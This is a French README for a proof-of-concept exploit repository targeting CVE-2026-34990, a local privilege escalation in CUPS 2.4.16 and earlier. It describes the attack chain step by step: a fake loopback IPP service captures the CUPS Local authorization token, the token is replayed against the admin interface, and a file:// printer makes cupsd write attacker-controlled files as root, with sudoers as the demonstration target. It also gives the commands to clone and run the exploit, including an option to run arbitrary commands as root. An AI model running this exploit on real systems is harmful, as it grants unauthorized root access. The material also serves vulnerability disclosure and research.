
CVE-2026-34990 — CUPS <= 2.4.16 Escalatione di Privilegi Locale
Utilisateur local non privilégié → root, via un jeton d'autorisation
Localde CUPS divulgué et une file d'impressionfile:///contournant les politiques.PoC par 0xcybersoldier
CVE-2026-34990 est une faille d'escalade de privilèges locale dans OpenPrinting CUPS affectant les versions 2.4.16 et antérieures.
Un utilisateur local non privilégié pouvant atteindre le démon CUPS (cupsd) peut potentiellement l'amener à s'authentifier auprès d'un service IPP contrôlé par l'attaquant sur l'interface loopback.
Le justificatif Authorization: Local <token> résultant peut ensuite être réutilisé contre l'interface d'administration de CUPS.
La chaîne d'attaque peut finalement être utilisée pour créer une file d'impression file:/// et amener cupsd à écrire un fichier contrôlé par l'attaquant avec les privilèges root.
La démonstration canonique utilise un fichier déposé dans sudoers pour obtenir un shell root.
Ce dépôt contient un PoC Python 3 en fichier unique implémentant la chaîne d'attaque, incluant un mode --check plus sûr permettant de démontrer le comportement vulnérable d'écriture de fichier sans créer directement une configuration persistante d'escalade de privilèges.
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2026-34990 |
| Composant | OpenPrinting CUPS (cupsd) |
| Versions affectées | <= 2.4.16 |
| Classe de vulnérabilité | CWE-306 / CWE-284 |
| Impact | Escalade de privilèges locale |
| Vecteur d'attaque | Local |
| Privilèges requis | Faibles |
| Interaction utilisateur | Aucune |
| Découvert par | Asim Viladi Oglu Manizada |
| Avis | GHSA-c54j-2vqw-wpwp |
Le PoC cible :
OpenPrinting CUPS <= 2.4.16
Vérifier la version de CUPS en cours d'exécution localement :
curl -sI http://127.0.0.1:631 | grep -i '^Server:'
Exemple :
Server: CUPS/2.4.16 IPP/2.1
Remarque : Vérifiez l'avis amont actuel avant de vous fier à la plage de versions affectées dans le cadre de recherches en production, car les correctifs des fournisseurs et le statut des versions peuvent évoluer.
[1] L'utilisateur local émet CUPS-Create-Local-Printer
|
| device-uri = ipp://127.0.0.1:9189/ipp/print
v
[2] cupsd se connecte au service IPP contrôlé
par l'attaquant sur le loopback
|
v
[3] Le faux service IPP répond avec :
401 Unauthorized
WWW-Authenticate: Local trc="y"
|
v
[4] CUPS/libcups réessaie la requête avec :
Authorization: Local <token>
|
v
[5] Jeton capturé
|
v
[6] Jeton réutilisé contre l'interface d'administration de CUPS
|
v
[7] Une imprimante temporaire file:// est créée et
passe par le flux de gestion des imprimantes
|
v
[8] Print-Job amène cupsd à écrire le document
fourni vers la cible file://
|
v
[9] La charge utile de démonstration peut modifier une
configuration privilégiée telle que sudoers
|
v
ROOT
127.0.0.1:631sudo disponible pour la démonstration d'escalade de privilègesAucun paquet Python externe n'est requis.
Cloner le dépôt :
git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc
Rendre le PoC exécutable :
chmod +x cve-2026-34990.py
Aucune dépendance supplémentaire n'est requise.
Commencez par le mode de vérification non persistant :
./cve-2026-34990.py --check
Le mode check tente de démontrer la primitive vulnérable d'écriture de fichier appartenant à root à l'aide d'un fichier de preuve temporaire et nettoie après le test.
Le mode par défaut démontre la chaîne complète d'escalade de privilèges :
./cve-2026-34990.py
Une commande peut être fournie avec :
./cve-2026-34990.py -c 'id'
Exemple :
./cve-2026-34990.py -c 'id; whoami'
| Option | Défaut | Description |
|---|---|---|
--cups-port | 631 | Port TCP local de CUPS |
--listen-port | 9189 | Port loopback utilisé par l'écouteur de capture de jeton |
--check | Off | Mode de vérification sécurisé |
-c, --command | — | Exécuter une commande après exploitation réussie |
--proof-dir | /var/tmp | Répertoire parent pour les fichiers de preuve temporaires |
--attempts | 8 | Nombre de tentatives d'écriture de fichier |
--iterations | 80 | Nombre de cycles de requêtes IPP par tentative |
$ ./cve-2026-34990.py --check
██████╗ ██╗ ██╗ ██████╗██╗ ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗ ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║ ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║ ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗ ██║ ██║██║ ██║ ██║██║█████╗ ██████╔╝
████╔╝██║ ██╔██╗ ██║ ╚██╔╝ ██╔══██╗╚════██║██╔══██╗██╔══╝ ██║ ██║██║ ██║ ██║██║██╔══╝ ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗ ██║ ██████╔╝███████║██║ ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
CVE-2026-34990 :: CUPS <= 2.4.16 Local Privilege Escalation
PoC by 0xcybersoldier
[*] Triggering CUPS token leak...
[+] Captured CUPS Local authorization token
[*] File-write race: attempt 1/8
[+] VULNERABLE: CUPS wrote a root-owned proof file
Le PoC crée une imprimante CUPS temporaire dont le device-uri pointe vers un écouteur IPP contrôlé par l'attaquant sur l'interface loopback.
Exemple :
ipp://127.0.0.1:9189/ipp/print
L'écouteur local répond avec un défi d'authentification :
401 Unauthorized
WWW-Authenticate: Local trc="y"
Cela amène l'interaction client/serveur CUPS à réessayer en utilisant le mécanisme d'authentification local.